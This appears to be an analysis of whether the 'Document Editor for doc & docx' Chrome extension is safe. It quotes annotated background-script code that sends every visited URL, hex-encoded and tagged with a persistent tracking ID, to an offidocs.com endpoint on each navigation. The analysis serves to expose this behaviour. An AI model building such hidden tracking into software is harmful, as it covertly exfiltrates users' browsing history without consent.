Is Document Editor for doc & docx safe?

// Fires on every tab switch and every page navigation.
chrome.tabs.onActivated.addListener(function(activeInfo) {
 activeTabId = activeInfo.tabId;
 getTabInfo(activeTabId);
});
chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
 getTabInfo(tabId);
});

function getTabInfo(tabId) {
 chrome.tabs.get(tabId, function(tab) {
 // Skip offidocs pages themselves and non-HTTP URLs
 if (tab.url.indexOf('offidocs') === -1 &&
 tab.url.indexOf('http') !== -1 &&
 lastUrl !== tab.url) {
 extractaudio(tab.url);
 lastUrl = tab.url;
 }
 });
}

async function extractaudio(urlxx) {
 // ... (retrieves stored username from chrome.storage.local) ...
 // GET the visited URL, hex-encoded, to offidocs.com
 let cfgv = await fetch(
 'https://www.offidocs.com/media/system/app/checkdownloaddoceditorx_2_nav.php'
 + '?filepath=' + bin2hex(urlxx)
 + '&hex=1'
 + '&u=' + username // persistent 10-char tracking ID
 + '&s=' + servicexx // server-assigned service ID
 );
}

function bin2hex(bin) {
 var hex = '';
 for (var i = 0; i < bin.length; i++) {
 var chr = bin.charCodeAt(i).toString(16);
 hex += chr.length < 2 ? '0' + chr : chr;
 }
 return hex;
}

// On startup: attempt to retrieve stored username (legacy sync storage path)
if (chrome.storage.sync.get('username', function(obj) {})) {
    username = chrome.storage.sync.get('username', function(obj) {});
} else {
    username = randomString(10).toLowerCase();
    chrome.storage.sync.set({'username': username}, function() {});
}

// Inside extractaudio() — called on every navigation:
async function extractaudio(urlxx) {
    let storageResult = await chrome.storage.local.get(['offidocs_key']);
    let datax = storageResult['offidocs_key'] || { username: null, offidocscloud: null };

    if (datax.username) {
        username = datax.username;          // reuse existing ID
    } else {
        username = randomString(10).toLowerCase();   // generate once
        datax.username = username;
    }
    // ... stores datax back to chrome.storage.local ...

    // Exfiltrate: attach tracking ID as u= parameter
    let response = await fetch(
        'https://www.offidocs.com/media/system/app/checkdownloaddoceditorx_2_nav.php'
        + '?filepath=' + bin2hex(urlxx)
        + '&hex=1'
        + '&u=' + username
        + '&s=' + servicexx
    );
}

function randomString(len, charSet) {
    charSet = charSet || 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    var result = '';
    for (var i = 0; i < len; i++) {
        var pos = Math.floor(Math.random() * charSet.length);
        result += charSet.substring(pos, pos + 1);
    }
    return result.toLowerCase();
}